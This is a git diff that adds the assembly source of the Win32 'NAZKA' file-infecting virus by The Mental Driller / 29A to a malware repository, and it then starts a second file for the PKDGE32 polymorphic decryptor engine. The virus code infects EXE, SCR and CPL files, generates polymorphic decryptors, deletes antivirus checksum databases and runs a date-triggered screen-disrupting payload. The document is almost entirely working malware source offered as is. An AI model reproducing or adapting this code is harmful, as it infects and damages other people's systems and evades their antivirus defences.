[ebp+InicIP], eax+ mov [ebp+ImageBase], ebx++ mov eax, [ebp+TextHeader]+ add eax, edi+ cmp dword ptr [eax+08h], 1000h+ jb @@End4+ cmp dword ptr [eax+10h], 1000h+ jb @@End4+ mov eax, [ebp+RelocHeader]+ add eax, edi+ mov ebx, Virus_Size+1000h+ cmp dword ptr [eax+08h], ebx+ jae @@SizeIsOK_1+ mov dword ptr [eax+08h], ebx+ @@SizeIsOK_1: cmp dword ptr [eax+10h], ebx+ jae @@SizeIsOK_2+ @@SizeIsNotOK: sub ebx, [eax+10h]+ mov ecx, eax+ xchg ebx, eax+ mov ebx, [esi+38h]+ xor edx, edx+ div ebx+ inc eax+ mul ebx+ add [ecx+10h], eax+ add [ebp+FileSizeLow], eax+ add [esi+50h], eax+ call UnmapFile+ call MapFile+ or eax, eax+ jz @@End3+ mov dword ptr [ebp+MappingAddress], eax+ mov edi, eax+ mov esi, [edi+3Ch]+ add esi, edi+ @@SizeIsOK_2:++ ;; This must be sustituted by an entrypoint to the very+ ;; beginning of the .text section. This time (to test) we+ ;; set the entrypoint at the beginning of the .reloc section+ ;; (last section)++ mov eax, [ebp+TextHeader]+ add eax, edi+ mov ebx, [eax+0Ch]+ mov [esi+28h], ebx+ add ebx, [esi+34h]+ mov [ebp+RestoreAddress], ebx+ mov ecx, [eax+14h]+ add ecx, edi++ mov eax, [ebp+RelocHeader]+ add eax, edi+ or dword ptr [eax+24h], 0A0000020h+++ ; mov eax, [eax+0Ch]+ ; mov [esi+28h], eax++ call ConstructNameForReloc+ push edi+ xchg edi, eax+ mov edi, [ebp+RelocHeader]+ add edi, eax+ mov edi, [edi+14h]+ add edi, eax++ push esi+ lea esi, [ebp+Nazka]+ mov ecx, Virus_Size / 4++ push eax+ call CreateEncryptions+ call EncryptWhileStoring+ pop eax++ mov esi, [ebp+TextHeader]+ add esi, eax+ mov esi, [esi+14h]+ add esi, eax+ mov ecx, 400h+ call EncryptWhileStoring++ pop esi++ pop edi+ ; mov word ptr [edi+12h], 'DM'++ mov eax, [ebp+TextHeader]+ add eax, edi+ mov ebx, [eax+0Ch]+ add ebx, [esi+34h]+ mov ecx, [eax+14h]+ add ecx, edi++ mov eax, [ebp+RelocHeader]+ add eax, edi+ mov eax, [eax+0Ch]+ add eax, [esi+34h]+ sub eax, ebx+ ; sub eax, 5++ ; EAX=Displacement from the beginning till the virus+ ; ECX=Place where the decryptors must be put+ ; Size of encrypted part is Virus_Size+1000h++ call PutDecryptors++ ; mov byte ptr [ecx], 0E9h+ ; mov dword ptr [ecx+1], eax++ or dword ptr [ebp+CreationTime], 3++ @@End4: call UnmapFile+ @@End3: call RestoreDateTime+ push dword ptr [ebp+FileHandle]+ call dword ptr [ebp+RVA_CloseHandle]++ @@End2: push dword ptr [ebp+FileAttributes]+ lea ebx, [ebp+FileName]+ push ebx+ call dword ptr [ebp+RVA_SetFileAttributesA]+ @@End: ret+InfectFile endp++TextHeader dd 0+RelocHeader dd 0+LastHeader dd 0+StartOfLastSection dd 0+PEHeaderAddress dd 0++EncryptWhileStoring proc+ @@EncryptLoop: mov edx, 2+ lodsd+ @@Loop_001: cmp byte ptr [ebp+edx+EncryptType], 1+ jb @@ADD+ jz @@SUB+ @@XOR: xor eax, dword ptr [4*edx+ebp+DecryptKey]+ jmp @@Next+ @@ADD: add eax, dword ptr [4*edx+ebp+DecryptKey]+ jmp @@Next+ @@SUB: sub eax, dword ptr [4*edx+ebp+DecryptKey]+ @@Next: dec edx+ jns @@Loop_001+ stosd+ loop @@EncryptLoop+ ret+EncryptWhileStoring endp++CreateEncryptions proc+ pusha+ @@Again: call Random+ jz @@Again+ mov [ebp+DecryptKey], eax+ @@Again2: call Random+ jz @@Again2+ cmp [ebp+DecryptKey], eax+ jz @@Again2+ mov [ebp+DecryptKey+4], eax+ @@Again3: call Random+ jz @@Again3+ cmp [ebp+DecryptKey], eax+ jz @@Again3+ cmp [ebp+DecryptKey+4], eax+ jz @@Again3+ mov [ebp+DecryptKey+8], eax++ mov ecx, 3+ @@OtraVez: call Random+ and al, 3+ jz @@OtraVez+ dec al+ mov byte ptr [ebp+ecx+EncryptType-1], al+ loop @@OtraVez++ popa+ ret+CreateEncryptions endp++EncryptType db 0, 0, 0 ; 0=ADD, 1=SUB, 2=XOR+DecryptKey dd 0, 0, 0++; Help with stack positions+S_EAX equ 1Ch+S_ECX equ 18h+S_EDX equ 14h+S_EBX equ 10h+S_ESP equ 0Ch+S_EBP equ 08h+S_ESI equ 04h+S_EDI equ 00h++;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+;; Dumb polymorphic engine :) ;;+;; Just made only to avoid having the same decryptors every time. ;;+;; It has been made in two hours or so, so it isn't very complex. ;;+;; That's very easy to emulate, but I wasn't in the mood to make ;;+;; a bigger one in a weekend (well, just wait for the finishing ;;+;; of the eternally durable coding of the Tuareg engine :P ) ;;+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+; EAX=Displacement from the beginning till the virus+; ECX=Place where the decryptors must be put+; Size of encrypted part is Virus_Size+1000h++PutDecryptors proc+ pusha+ mov [ebp+Distance], eax+ mov [ebp+DecryptorsBeginAddress], ecx+ mov edi, ecx+ mov byte ptr [ebp+NumberOfDecryptor], 0++ ; Initializing of the random generator+ lea eax, [ebp+offset SystemTimeReceiver]+ push eax+ call dword ptr [ebp+RVA_GetSystemTime]+ mov eax, [ebp+DwordAleatorio1]+ xor eax, [ebp+DwordAleatorio2]+ mov [ebp+DwordAleatorio3], eax ; We make it slow poly++ @@MakeNextDecryptor:++ ; Register selection+ @@Select1: call Random+ and al, 7+ cmp al, 4+ jz @@Select1+ mov [ebp+KeyRegister], al+ mov dl, al+ @@Select2: call Random+ and al, 7+ cmp al, 4+ jz @@Select2+ cmp al, dl+ jz @@Select2+ mov [ebp+CounterRegister], al+ mov dh, al+ @@Select3: call Random+ and al, 7+ cmp al, 4+ jz @@Select3+ cmp al, dh+ jz @@Select3+ cmp al, dl+ jz @@Select3+ mov [ebp+IndexRegister], al++ lea ebx, [ebp+offset PutCounterValue]+ lea ecx, [ebp+offset PutIndexValue]+ lea edx, [ebp+offset PutKeyValue]+ call RandomCalling+ mov [ebp+InicLoop], edi++ movzx ecx, byte ptr [ebp+NumberOfDecryptor]+ mov al, byte ptr [ebp+4*ecx+EncryptType]+ cmp al, 1+ jb @@ADD+ jz @@SUB+ @@XOR: mov al, 31h+ jmp @@J_001+ @@ADD: mov al, 29h ; Just the inverse of ADD+ jmp @@J_001+ @@SUB: mov al, 01h+ @@J_001: stosb+ mov al, [ebp+IndexRegister]+ cmp al, 5+ jnz @@J_002+ or al, 40h+ @@J_002: mov dl, [ebp+KeyRegister]+ shl dl, 3+ or al, dl+ stosb+ cmp al, 40h+ jb @@J_003+ xor al, al+ stosb+ @@J_003: lea ebx, [ebp+offset IncreaseIndex]+ lea ecx, [ebp+offset DecreaseCounter]+ lea edx, [ebp+offset @@Return]+ call RandomCalling++ ;; Select counter zero checking+ @@Again1: call RandomFlags+ jz @@OtherSet+ js @@Again1+ @@TEST: mov al, 85h+ jmp @@PutOpcode+ @@OtherSet: js @@OR+ @@AND: mov al, 23h+ jmp @@PutOpcode+ @@OR: mov al, 0Bh+ @@PutOpcode: stosb+ mov al, 0C0h+ mov dl, [ebp+CounterRegister]+ or al, dl+ shl dl, 3+ or al, dl+ stosb++ ;; Select jump to the begin of the loop+ call RandomFlags+ jz @@PutJNZ+ @@PutJNS: mov al, 79h+ jmp @@PutJump+ @@PutJNZ: mov al, 75h+ @@PutJump: stosb+ inc edi+ mov eax, [ebp+InicLoop]+ sub eax, edi+ mov [edi-1], al+ inc byte ptr [ebp+NumberOfDecryptor]+ cmp byte ptr [ebp+NumberOfDecryptor], 3+ jnz @@MakeNextDecryptor++ lea ecx, [edi+5]+ sub ecx, [ebp+DecryptorsBeginAddress]+ mov eax, [ebp+Distance]+ sub eax, ecx+ push eax+ mov al, 0E9h+ stosb+ pop eax+ stosd+ popa+ @@Return: ret+PutDecryptors endp++NumberOfDecryptor db 0+DecryptorsBeginAddress dd 0+Distance dd 0+InicLoop dd 0+IndexRegister db 0+CounterRegister db 0+KeyRegister db 0++IncreaseIndex proc+ pusha+ mov dl, [ebp+IndexRegister]+ mov byte ptr [ebp+SubtractFlag], 0+ mov cl, 4+CommonEntryForModification:+@@IncreaseAgain:+ call RandomFlags+ jz @@Next+ js @@PutINC+@@PutSUB: mov byte ptr [ebp+PutADDFlag], 0+@@CommonPutADDSUB:+ or dl, dl+ jnz @@NotSUBEAX+ mov al, 2Dh+ stosb+ jmp @@Again1+ @@NotSUBEAX: mov ax, 0E883h+ or ah, dl+ stosw+ @@Again1: call Random+ and eax, 3+ inc al+ cmp al, cl+ ja @@Again1+ sub cl, al+ cmp byte ptr [ebp+PutADDFlag], 1+ jz @@Jump3+ cmp byte ptr [ebp+SubtractFlag], 1+ jz @@Jump5+ @@Negate: neg eax+ jmp @@Jump5+ @@Jump3: cmp byte ptr [ebp+SubtractFlag], 1+ jz @@Negate+ @@Jump5: cmp byte ptr [edi-1], 2Dh+ jnz @@Jump1+ stosd+ jmp @@Jump2+ @@Jump1: stosb+ @@Jump2: jmp @@End++@@PutINC: dec cl+ mov al, 40h+ cmp byte ptr [ebp+SubtractFlag], 1+ jnz @@Jump6+ add al, 8+ @@Jump6: add al, dl+ stosb+ jmp @@End++ @@Next: js @@PutLEA+@@PutADD: mov byte ptr [ebp+PutADDFlag], 1+ jmp @@CommonPutADDSUB++@@PutLEA: mov ah, dl+ shl dl, 3+ or ah, dl+ shr dl, 3+ or ah, 40h+ mov al, 8Dh+ stosw+ @@Again2: call Random+ and al, 3+ inc al+ cmp al, cl+ ja @@Again2+ sub cl, al+ cmp byte ptr [ebp+SubtractFlag], 1+ jnz @@Jump7+ neg al+ @@Jump7: stosb++ @@End: or cl, cl+ jnz @@IncreaseAgain+ mov [esp+S_EDI], edi+ popa+ ret+IncreaseIndex endp++DecreaseCounter proc+ pusha+ mov dl, [ebp+CounterRegister]+ mov cl, 1+ mov byte ptr [ebp+SubtractFlag], 1+ jmp CommonEntryForModification+DecreaseCounter endp++PutADDFlag db 0+SubtractFlag db 0++PutCounterValue proc+ pusha+ mov ecx, (Virus_Size+1000h)/4 + 1+ mov dl, [ebp+CounterRegister]+ jmp PutMOV+PutCounterValue endp++PutIndexValue proc+ pusha+ mov ecx, [ebp+RelocHeader]+ add ecx, [ebp+MappingAddress]+ mov ecx, [ecx+0Ch]+ mov esi, [ebp+PEHeaderAddress]+ add ecx, [esi+34h]+ mov dl, [ebp+IndexRegister]+ jmp PutMOV+PutIndexValue endp++PutKeyValue proc+ pusha+ movzx ecx, byte ptr [ebp+NumberOfDecryptor]+ mov ecx, dword ptr [4*ecx+ebp+DecryptKey]+ mov dl, [ebp+KeyRegister]+PutKeyValue endp++PutMOV proc+ call RandomFlags+ jz @@Next+ js PutMOV+@@PutMOV3: mov ax, 058Dh+ shl dl, 3+ or ah, dl+ stosw+ @@Store1: mov eax, ecx+ stosd+ @@Exit: mov [esp+S_EDI], edi+ popa+ ret+ @@Next: js @@PutMOV2+@@PutMOV1: mov al, 0B8h+ add al, dl+ stosb+ jmp @@Store1+@@PutMOV2: mov al, 68h+ stosb+ mov eax, ecx+ stosd+ mov al, 58h+ add al, dl+ stosb+ jmp @@Exit+PutMOV endp++RandomCalling proc+ mov esi, 5+ @@Again: call RandomFlags+ jz @@Jump1+ xchg ebx, ecx+ @@Jump1: call RandomFlags+ jz @@Jump2+ xchg ecx, edx+ @@Jump2: call RandomFlags+ jz @@Jump3+ xchg edx, ebx+ @@Jump3: dec esi+ jnz @@Again+ push ebx+ push ecx+ jmp edx+RandomCalling endp++RandomFlags proc+ push eax+ call Random+ sahf+ pop eax+ ret+RandomFlags endp++ConstructNameForReloc proc+ pusha+;; Method 2: Put a name like .?text or .?code+;; Method 1: A set of four to six chars with '.' at the beginning+ in al, 40h+ test al, 1+ jnz @@RandomName+ and al, 1Fh+ cmp al, 19h+ jbe @@OK+ sub al, 19h+ @@OK: add al, 61h+ mov ah, al+ mov al, '.'+ push ax+ mov eax, 'et?.'+ pop ax+ mov ebx, 0+'tx'+ mov ecx, [ebp+RelocHeader]+ add ecx, edi+ mov dword ptr [ecx], eax+ mov dword ptr [ecx+4], ebx+ popa+ ret+ @@RandomName: mov ecx, [ebp+RelocHeader]+ add ecx, edi+ inc ecx+ mov edx, 4+ mov eax, esp+ @@Loop_001: in al, 40h+ xor al, ah+ add ah, al+ and al, 1Fh+ add al, 61h+ cmp al, 79h+ jbe @@OK2+ sub al, 19h+ @@OK2: mov [ecx], al+ inc ecx+ dec edx+ jnz @@Loop_001+ mov byte ptr [ecx], 0+ popa+ ret+ConstructNameForReloc endp++FindFileMask1 db '*.EXE',0+FindFileMask2 db '*.SCR',0+FindFileMask3 db '*.CPL',0++OpenFile proc+ push 0+ push 0+ push 3+ push 0+ push 0+ push 0c0000000h+ push ebx+ call dword ptr [ebp+RVA_CreateFileA]+ inc eax+ jz @@Error+ dec eax+ mov dword ptr [ebp+FileHandle], eax+ clc+ ret+ @@Error: stc+ ret+OpenFile endp++MapFile proc+ push 0+ push dword ptr [ebp+FileSizeLow]+ push 0+ push 4+ push 0+ push dword ptr [ebp+FileHandle]+ call dword ptr [ebp+RVA_CreateFileMappingA]+ or eax, eax+ jz @@FinError+ mov dword ptr [ebp+MappingHandle], eax+ push dword ptr [ebp+FileSizeLow]+ push 0+ push 0+ push 2+ push dword ptr [ebp+MappingHandle]+ call dword ptr [ebp+RVA_MapViewOfFile]+ or eax, eax+ jc @@FinError2+ mov dword ptr [ebp+MappingAddress], eax+ clc+ ret+@@FinError2: push dword ptr [ebp+MappingHandle]+ call dword ptr [ebp+RVA_CloseHandle]+@@FinError: stc+ ret+MapFile endp++MappingHandle dd 0+MappingAddress dd 0+FileHandle dd 0++UnmapFile proc+ push dword ptr [ebp+MappingAddress]+ call dword ptr [ebp+RVA_UnmapViewOfFile]+ push dword ptr [ebp+MappingHandle]+ call dword ptr [ebp+RVA_CloseHandle]+ ret+UnmapFile endp++CheckFileName proc+ push ebx+ push edx+ lea esi, [ebp+FileName]+ mov ebx, esi+ dec ebx+ @@Loop_001: lodsb+ or al, al+ jnz @@Loop_001+ std+ dec esi+ dec esi+ @@Loop_002: lodsb+ cmp al, '\'+ jz @@EndName2+ cmp al, ':'+ jz @@EndName2+ cmp esi, ebx+ jnz @@Loop_002+ jmp @@EndName+ @@EndName2: inc esi+ @@EndName: cld+ inc esi+ lodsw+ movzx edx, ax+ call ToLower+ cmp edx, 0+'bt'+ jz @@Error+ cmp edx, 0+'cs'+ jz @@Error+ cmp edx, 0+'-f'+ jz @@Error+ cmp edx, 0+'ap'+ jz @@Error+ cmp edx, 0+'rd'+ jz @@Error+ dec esi+ dec esi+ dec esi+ @@Again: inc esi+ cmp byte ptr [esi], 'v'+ jz @@Error+ cmp byte ptr [esi], 'V'+ jz @@Error+ cmp byte ptr [esi], 0+ jnz @@Again+ mov edx, [esi-4]+ call ToLower+ cmp edx, 'exe.'+ jz @@ItsOK+ cmp edx, 'rcs.'+ jnz @@Error+ cmp eax, 'lpc.'+ jnz @@Error+ @@ItsOK: pop edx+ pop ebx+ clc+ ret+ @@Error: pop edx+ pop ebx+ stc+ ret+CheckFileName endp++ToLower proc+ push ecx+ mov ecx, 4+ @@Loop_001: cmp dl, 'A'+ jb @@Next+ cmp dl, 'Z'+ ja @@Next+ add dl, 20h+ @@Next: rol edx, 8+ loop @@Loop_001+ pop ecx+ ret+ToLower endp++DeleteDATs proc+ lea ebx, [ebp+FileDAT1]+ call DeleteFile+ lea ebx, [ebp+FileDAT2]+ call DeleteFile+ lea ebx, [ebp+FileDAT3]+ call DeleteFile+ lea ebx, [ebp+FileDAT4]+ call DeleteFile+ ret+DeleteDATs endp++DeleteFile proc+ push 80h+ push ebx+ call dword ptr [ebp+RVA_SetFileAttributesA]+ push ebx+ call dword ptr [ebp+RVA_DeleteFileA]+ ret+DeleteFile endp++FileDAT1 db 'AVP.CRC',0+FileDAT2 db 'ANTI-VIR.DAT',0+FileDAT3 db 'CHKLIST.MS',0+FileDAT4 db 'IVB.NTZ',0++RestoreDateTime proc+ lea ebx, [ebp+CreationTime]+ push ebx+ add ebx, 8+ push ebx+ add ebx, 8+ push ebx+ push dword ptr [ebp+FileHandle]+ call dword ptr [ebp+RVA_SetFileTime]+ ret+RestoreDateTime endp++Addr_Kernel32 dd 0++;,,,,,,,,,,,,,+;;; PAYLOADS ;+;'''''''''''''+Payload proc+ ;; Let's do the payload in the day 17 of March, June,+ ;; September and December+ lea eax, [ebp+offset SystemTime]+ push eax+ call dword ptr [ebp+RVA_GetSystemTime]+ cmp word ptr [ebp+Day], 11h+ jnz @@Return+ mov al, byte ptr [ebp+Month]+ cmp al, 3+ jz @@RunPayload+ cmp al, 6+ jz @@RunPayload+ cmp al, 9+ jz @@RunPayload+ cmp al, 0Ch+ jnz @@Return++ @@RunPayload: lea eax, [ebp+ASC_User32]+ call LoadLibrary+ jc @@Return++ mov [ebp+ModuleToUse], eax+ lea esi, [ebp+CrunchedUser32Functions]+ lea edx, [ebp+User32RVAs]+ call GetRVAs+ jc @@Return++ lea eax, [ebp+ASC_GDI32]+ call LoadLibrary+ jc @@Return++ mov [ebp+ModuleToUse], eax+ lea esi, [ebp+CrunchedGDI32Functions]+ lea edx, [ebp+GDI32RVAs]+ call GetRVAs+ jc @@Return++ push 0+ call dword ptr [ebp+RVA_GetDC]+ mov dword ptr [ebp+HandleDC], eax++ @@SelectPayload:+ in al, 40h+ and al, 3+ mov byte ptr [ebp+PayloadIdent], al+ jz @@SelectPayload+ cmp al, 2+ jb @@Payload1+ @@Payload2: lea ebx, [ebp+Payload2]+ jmp @@CreateThread+ @@Payload1: lea ebx, [ebp+Payload1]+@@CreateThread: lea eax, [ebp+offset RedBrush] ; Me la pela+ push eax+ push 0+ push 0+ push ebx+ push 0+ push 0+ call dword ptr [ebp+RVA_CreateThread]+ @@Return: ret+Payload endp++Payload1 proc+ call @@GetDeltaOffset+@@GetDeltaOffset:+ pop ebp+ sub ebp, offset @@GetDeltaOffset++ push 00FF0000h+ call dword ptr [ebp+RVA_CreateSolidBrush]+ mov dword ptr [ebp+RedBrush], eax+ push 0000FF00h+ call dword ptr [ebp+RVA_CreateSolidBrush]+ mov dword ptr [ebp+GreenBrush], eax+ push 000000FFh+ call dword ptr [ebp+RVA_CreateSolidBrush]+ mov dword ptr [ebp+BlueBrush], eax+ push 0000FFFFh+ call dword ptr [ebp+RVA_CreateSolidBrush]+ mov dword ptr [ebp+YellowBrush], eax+ push 00FF00FFh+ call dword ptr [ebp+RVA_CreateSolidBrush]+ mov dword ptr [ebp+MagentaBrush], eax++ @@Again: lea eax, [ebp+TimerProcedure]+ push eax+ push 60h+ push 0+ push 0+ call dword ptr [ebp+RVA_SetTimer]+ mov [ebp+Timer], eax++ push 0+ push offset MB_Title+ push offset Identificator+ push 0+ call dword ptr [ebp+RVA_MessageBoxA]++ push dword ptr [ebp+Timer]+ push 0+ call dword ptr [ebp+RVA_KillTimer]+ jmp @@Again+Payload1 endp++Payload2 proc+ call @@GetDeltaOffset+@@GetDeltaOffset:+ pop ebp+ sub ebp, offset @@GetDeltaOffset+ @@Again: push 0+ call dword ptr [ebp+RVA_GetDC]+ mov dword ptr [ebp+HandleDC], eax++ push 0000FF00h+ push dword ptr [ebp+HandleDC]+ call dword ptr [ebp+RVA_SetTextColor]+ push 0+ push dword ptr [ebp+HandleDC]+ call dword ptr [ebp+RVA_SetBkColor]++ cmp byte ptr [ebp+PayloadIdent], 2+ jz @@SetPixel+ @@TextOutA: push 9+ lea eax, [ebp+StringToScreen]+ push eax+ jmp @@Common++ @@SetPixel: call Random+ and eax, 0FFFFFFh+ push eax+ @@Common: call Random+ and eax, 7FFh+ push eax+ call Random+ and eax, 7FFh+ push eax+ push dword ptr [ebp+HandleDC]+ cmp byte ptr [ebp+PayloadIdent], 2+ jz @@SetPixel2+ @@TextOut2: call dword ptr [ebp+RVA_TextOutA]+ jmp @@Again+ @@SetPixel2: call dword ptr [ebp+RVA_SetPixel]+ jmp @@Again+Payload2 endp++StringToScreen db 'N A Z K A'++PayloadIdent db 0++Contador db 0+Timer dd 0++TimerProcedure proc+ pusha+ call @@GetDeltaOffset+@@GetDeltaOffset:+ pop ebp+ sub ebp, offset @@GetDeltaOffset+ movzx ebx, byte ptr [ebp+Contador]+ inc ebx+ cmp bl, 5+ jnz @@Continue1+ xor bl, bl+ @@Continue1: mov byte ptr [ebp+Contador], bl+ xor esi, esi++ @@Again: push 0+ call dword ptr [ebp+RVA_GetDC]+ mov dword ptr [ebp+HandleDC], eax++ push dword ptr [4*ebx+ebp+RedBrush]+ push dword ptr [ebp+HandleDC]+ call dword ptr [ebp+RVA_SelectObject]++ push dword ptr [4*esi+ebp+Number]+ mov eax, [4*esi+ebp+Letra]+ add eax, ebp+ push eax+ push dword ptr [ebp+HandleDC]+ call dword ptr [ebp+RVA_Polygon]+ dec ebx+ jns @@Salto+ mov ebx, 4+ @@Salto: inc esi+ cmp esi, 5+ jnz @@Again+ popa+ ret+TimerProcedure endp++HandleDC dd 0++RedBrush dd 0+BlueBrush dd 0+GreenBrush dd 0+YellowBrush dd 0+MagentaBrush dd 0++Number dd 06h+ dd 04h+ dd 06h+ dd 07h+ dd 04h++Letra dd offset Letra1+ dd offset Letra2+ dd offset Letra3+ dd offset Letra4+ dd offset Letra5++Letra1 dd 0, 0+ dd 0h, 80h+ dd 40h, 20h+ dd 50h, 80h+ dd 50h, 0+ dd 10h, 60h++Letra2 dd 88h, 0+ dd 60h, 80h+ dd 88h, 20h+ dd 0B0h, 80h++Letra3 dd 0C0h, 0+ dd 100h, 10h+ dd 0C0h, 78h+ dd 110h, 70h+ dd 0D0h, 70h+ dd 110h, 8++Letra4 dd 120h, 0+ dd 120h, 80h+ dd 12Ch, 40h+ dd 170h, 80h+ dd 130h, 38h+ dd 170h, 0+ dd 12Ch, 30h++Letra5 dd 1A8h, 0+ dd 180h, 80h+ dd 1A8h, 20h+ dd 1D0h, 80h++MB_Title db 'Virus NAZKA',0+Identificator db '(c) Virus NAZKA by The Mental Driller / 29A',0++LoadLibrary proc+ push eax+ call dword ptr [ebp+RVA_LoadLibraryA]+ or eax, eax+ jz @@Error+ clc+ ret+ @@Error: stc+ ret+LoadLibrary endp++ASC_User32 db 'user32.dll',0+ASC_GDI32 db 'gdi32.dll',0++CrunchedUser32Functions label dword+ASC_GetDC db 0F2h, 'DC',0+ASC_SetTimer db 0F6h, 'Timer',0+ASC_KillTimer db 'KillTimer',0+ASC_MessageBoxA db 'MessageBoxA',0+ db 0++CrunchedGDI32Functions label dword+ASC_CreateSolidBrush db 0F0h, 'SolidBrush',0+ASC_Polygon db 'Polygon',0+ASC_SelectObject db 'SelectObject',0+ASC_SetTextColor db 0F6h, 'TextColor',0+ASC_SetBkColor db 0F6h, 'BkColor',0+ASC_SetPixel db 0F6h, 'Pixel',0+ASC_TextOutA db 'TextOutA',0+ db 0++User32RVAs label dword+RVA_GetDC dd 0+RVA_SetTimer dd 0+RVA_KillTimer dd 0+RVA_MessageBoxA dd 0+GDI32RVAs label dword+RVA_CreateSolidBrush dd 0+RVA_Polygon dd 0+RVA_SelectObject dd 0+RVA_SetTextColor dd 0+RVA_SetBkColor dd 0+RVA_SetPixel dd 0+RVA_TextOutA dd 0++;; 0F0h --> Create+;; 0F1h --> File+;; 0F2h --> Get+;; 0F3h --> DirectoryA+;; 0F4h --> Find+;; 0F5h --> Process+;; 0F6h --> Set+;; 0F7h --> AttributesA+ASC_Create db 'Create'+ASC_Get db 'Get'+ASC_DirectoryA db 'DirectoryA'+ASC_Process db 'Process'+ASC_Set db 'Set'+ASC_AttributesA db 'AttributesA'++CrunchedASCIIs label dword+ASC_CreateFileA db 0F0h, 0F1h, 'A',0+ASC_CreateProcessA db 0F0h, 0F5h, 'A',0+ASC_FindFirstFileA db 0F4h, 'First', 0F1h, 'A',0+ASC_FindNextFileA db 0F4h, 'Next', 0F1h, 'A',0+ASC_GetFileAttributesA db 0F2h, 0F1h, 0F7h,0+ASC_SetFileAttributesA db 0F6h ,0F1h, 0F7h,0+ASC_GetFullPathNameA db 0F2h, 'FullPathNameA',0+ASC_MoveFileA db 'Move', 0F1h, 'A',0+ASC_CopyFileA db 'Copy', 0F1h, 'A',0+ASC_DeleteFileA db 'Delete', 0F1h, 'A',0+ASC_WinExec db 'WinExec',0+ASC__lopen db '_lopen',0+ASC_MoveFileExA db 'Move', 0F1h, 'ExA',0+ASC_OpenFile db 'Open', 0F1h,0++ASC_WriteProcessMemory db 'Write', 0F5h, 'Memory',0+ASC_GetCurrentProcess db 0F2h, 'Current', 0F5h,0+ASC_CreateFileMappingA db 0F0h, 0F1h, 'MappingA',0+ASC_MapViewOfFile db 'MapViewOf', 0F1h,0+ASC_UnmapViewOfFile db 'UnmapViewOf', 0F1h,0+ASC_CloseHandle db 'CloseHandle',0+ASC_SetFilePointer db 0F6h, 0F1h, 'Pointer',0+ASC_SetEndOfFile db 0F6h, 'EndOf', 0F1h,0+ASC_SetFileTime db 0F6h, 0F1h, 'Time',0+ASC_GetWindowsDirectoryA db 0F2h, 'Windows', 0F3h,0+ASC_GetCurrentDirectoryA db 0F2h, 'Current', 0F3h,0+ASC_SetCurrentDirectoryA db 0F6h, 'Current', 0F3h,0+ASC_GetSystemDirectoryA db 0F2h, 'System', 0F3h,0+ASC_GetSystemTime db 0F2h, 'SystemTime',0+ASC_LoadLibraryA db 'LoadLibraryA',0+ASC_FindClose db 0F4h, 'Close',0+ASC_VirtualAlloc db 'VirtualAlloc',0+ASC_VirtualFree db 'VirtualFree',0+ASC_CreateThread db 0F0h, 'Thread',0+ db 0++FunctionsToPatch label dword+RVA_GetProcAddress dd 0+RVAs label dword+RVA_CreateFileA dd 0+RVA_CreateProcessA dd 0+RVA_FindFirstFileA dd 0+RVA_FindNextFileA dd 0+RVA_GetFileAttributesA dd 0+RVA_SetFileAttributesA dd 0+RVA_GetFullPathNameA dd 0+RVA_MoveFileA dd 0+RVA_CopyFileA dd 0+RVA_DeleteFileA dd 0+RVA_WinExec dd 0+RVA__lopen dd 0+RVA_MoveFileExA dd 0+RVA_OpenFile dd 0++RVA_WriteProcessMemory dd 0+RVA_GetCurrentProcess dd 0+RVA_CreateFileMappingA dd 0+RVA_MapViewOfFile dd 0+RVA_UnmapViewOfFile dd 0+RVA_CloseHandle dd 0+RVA_SetFilePointer dd 0+RVA_SetEndOfFile dd 0+RVA_SetFileTime dd 0+RVA_GetWindowsDirectoryA dd 0+RVA_GetCurrentDirectoryA dd 0+RVA_SetCurrentDirectoryA dd 0+RVA_GetSystemDirectoryA dd 0+RVA_GetSystemTime dd 0+RVA_LoadLibraryA dd 0+RVA_FindClose dd 0+RVA_VirtualAlloc dd 0+RVA_VirtualFree dd 0+RVA_CreateThread dd 0++SystemTime label dword+ Year dw 0+ Month dw 0+ DayOfWeek dw 0+ Day dw 0+ Hours dw 0+ Minutes dw 0+ Seconds dw 0+ Miliseconds dw 0++org SystemTime++FindFileField label dword+ FileAttributes dd 0+ CreationTime dd 0+ dd 0+ LastAccessTime dd 0+ dd 0+ LastWriteTime dd 0+ dd 0+ FileSizeHigh dd 0+ FileSizeLow dd 0+ Reserved dd 0+ dd 0+ FileName db 104h dup (0)+ AlternateFileName db 10h dup (0)+FindFileFieldSize equ $ - offset FindFileField++Random proc+ push ecx+ mov eax, [ebp+DwordAleatorio1]+ dec dword ptr [ebp+DwordAleatorio1]+ xor eax, [ebp+DwordAleatorio2]+ mov ecx, eax+ rol dword ptr [ebp+DwordAleatorio1], cl+ add [ebp+DwordAleatorio1], eax+ adc eax, [ebp+DwordAleatorio2]+ add eax, ecx+ ror eax, cl+ not eax+ sub eax, 3+ xor [ebp+DwordAleatorio2], eax+ xor eax, [ebp+DwordAleatorio3]+ rol dword ptr [ebp+DwordAleatorio3], 1+ sub dword ptr [ebp+DwordAleatorio3], ecx+ sbb dword ptr [ebp+DwordAleatorio3], 4+ inc dword ptr [ebp+DwordAleatorio2]+ pop ecx+ ret+Random endp++SystemTimeReceiver label dword+DwordAleatorio1 dd 12345678h+DwordAleatorio2 dd 9ABCDEF0h+DwordAleatorio3 dd 0A40d1739h ; :))++DecrunchBuffer db 21 dup (0)++ align 4 ; Align on a 4-byte boundary+End_Virus label dword++FakedHost: push 0+ push offset Titulo+ push offset Mensaje+ push 0+ call MessageBoxA++ @@Fin: push 0+ call ExitProcess++ end Nazkadiff --git a/Malwares/Win32/win32 Engines/assembly/Virus.Win32.Pker.inc b/Malwares/Win32/win32 Engines/assembly/Virus.Win32.Pker.incnew file mode 100644index 0000000..f979f06--- /dev/null+++ b/Malwares/Win32/win32 Engines/assembly/Virus.Win32.Pker.inc@@ -0,0 +1,928 @@+;+; pker's Decryptor Generation Engine for Win32 (PKDGE32)+; ======================================================+;+;+; Description+; -----------+;+; I wanted to code a polymorphic engine when I first started coding this. Then+; I got the idea of generating decrypt code dynamically instead of morphing the+; original decrypt code. The generated decryptor uses random registerz, with+; junk code inserted, and it's instruction-permutable. When coding, I found+; that the name 'decrypt generation engine' is more appropriate than a poly-+; morphic engine, so I renamed it to PKDBE32.+;+; Generally, the decrypt code looks like the following:+;+; mov Rw,offset code2decrypt ; (1)+; mov Rz,decrypt_size ; (2)+; decrypt_loop: xor byte [Rw],imm8 ; (3)+; inc Rw ; (4)+; dec Rz ; (5)+; jnz decrypt_loop ; 